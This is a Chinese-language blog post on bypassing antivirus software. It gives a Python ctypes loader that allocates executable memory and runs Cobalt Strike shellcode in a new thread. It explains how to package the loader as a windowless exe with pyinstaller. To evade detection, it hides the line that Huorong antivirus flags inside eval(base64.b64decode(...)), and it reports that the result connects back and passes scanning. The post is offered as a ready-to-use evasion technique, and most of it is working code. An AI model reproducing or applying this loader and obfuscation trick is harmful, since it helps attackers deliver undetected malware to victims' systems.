eval函数python3_python3 shellcode 使用eval函数 bypass AV

使用Python版本

使用cs生成与Python版本对应的shellcode

shellcode load

import ctypes

#shellcode加载

def shellCodeLoad(shellcode):

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

if __name__ == "__main__":

shellCodeLoad(bytearray(b'shellcode'))

使用cs生成的shellcode替换

使用pyinstaller将py文件打包为exe文件

pyinstaller -F test.py --noconsole

直接双击运行,正常上线

但是这个时候,默认的加载器已经被杀的连亲爹都不认识了

通过不断的编译测试,发现火绒的查杀点是在这一句代码上

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))

试了一下改变量名,添加无效代码,修改代码的位置等等方法,火绒还是杀。

后来想到了php中免杀一句话中常用的eval(base64))这种方法,Python和PHP一样也是一个动态语言。

将上述代码替换为

eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))

重新打包成为exe,正常上线

再扫描火绒已经妥妥的过掉了

本文重在说明思路,其他杀软同理。找到查杀点以后,编码,加密处理即可。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值